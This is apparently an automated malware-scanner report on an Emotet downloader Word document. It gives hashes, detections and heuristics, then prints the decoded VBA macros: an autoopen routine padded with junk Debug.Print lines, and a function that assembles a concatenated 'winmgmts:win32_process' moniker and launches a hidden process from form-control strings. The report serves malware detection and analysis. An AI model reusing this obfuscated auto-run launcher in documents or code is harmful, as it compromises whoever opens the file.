Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ebac6aba4fc95acd…

MALICIOUS

Office (OLE)

116.9 KB Created: 2019-05-23 18:15:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 06823b68516628f26e3d87e2206be64d SHA-1: 1c0d93d675dd9d9bed0022e47eb85911eee4fe83 SHA-256: ebac6aba4fc95acd201dfe0e343ec1c330ac3df66bda75bae8e9c384e4a17d83
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical heuristic firing for VBA WMI Win32_Process launcher, indicating the VBA code attempts to create a new process using WMI. The presence of an AutoOpen macro and the ClamAV detection for 'Doc.Downloader.Emotet-6978977-0' strongly suggest this is an Emotet downloader. The VBA script's autoopen subroutine likely executes the malicious payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6978977-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6978977-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3934 bytes
SHA-256: deb1fe7d670134958c8685aea27bb9bf29da0f711f3de9f4f5a46617ef2f4cd9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LNfi6ZqT"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "sE9zwiE, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "IrXA8B, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "sZrnwsH, 2, 2, MSForms, ComboBox"
Sub autoopen()
   Debug.Print (775 _
) + (906)
 Debug.Print QCNr1w _
+ (598)
 Debug.Print (KAju7pA) + (177)
 Debug.Print _
(994) + m1EN0sB
Ip2hwwI
   Debug.Print (603 _
) + (26)
 Debug.Print szwY572 _
+ (636)
 Debug.Print (ZnDVDhT) + (653)
 Debug.Print _
(833) + j6zRIHi
End Sub


Attribute VB_Name = "uiwkQzKp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "z1V3Wz"

Attribute VB_Name = "W9MCBl"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "isJnks5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zjOtvYJ"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "h5jL9I_X"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rmz4fd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Trv9A48L"
Function Ip2hwwI()
If 177132 = 177132 Then
   Debug.Print (327 _
) + (879)
 Debug.Print zwi6L35P _
+ (211)
 Debug.Print (Su2cbr0E) + (9)
 Debug.Print _
(379) + YWAZlb
Set tf3KNqB = GetObject("wi" _
+ "n" + "mg" + _
"mts:w" + "in32" + "_proc" _
+ "ess" + "sta" _
+ "rtup")
End If
   Debug.Print (317 _
) + (198)
 Debug.Print LqBMom _
+ (127)
 Debug.Print (GmLCw4Q) + (968)
 Debug.Print _
(105) + mOA619
With tf3KNqB
   Debug.Print (945 _
) + (437)
 Debug.Print wSONuX _
+ (604)
 Debug.Print (Psotwrju) + (24)
 Debug.Print _
(445) + CELQbP00
. _
ShowWindow = V6uU03PC - z1SAI7 - P7_mS5N
   Debug.Print (706 _
) + (20)
 Debug.Print Iaw8cMN _
+ (272)
 Debug.Print (rfkXi0Zi) + (967)
 Debug.Print _
(465) + hpTHMBH
End With
If 177132 = 177132 Then
   Debug.Print (989 _
) + (973)
 Debug.Print WkUX5_Ic _
+ (198)
 Debug.Print (VrPA1j4) + (57)
 Debug.Print _
(216) + kkzZS2
GetObject("wi" _
+ "n" + "mg" _
+ "mts:w" + "in32" + "_proc" _
+ "ess") _
.Create# LNfi6ZqT.IrXA8B + LNfi6ZqT.sZrnwsH + LNfi6ZqT.sE9zwiE, pClZcIH0, tf3KNqB, Sznh6hwI
   Debug.Print (213 _
) + (222)
 Debug.Print HHswqs _
+ (616)
 Debug.Print (Zwt9_zl) + (2)
 Debug.Print _
(303) + WGzz_XV
End If
End Function


Attribute VB_Name = "QLm3PM"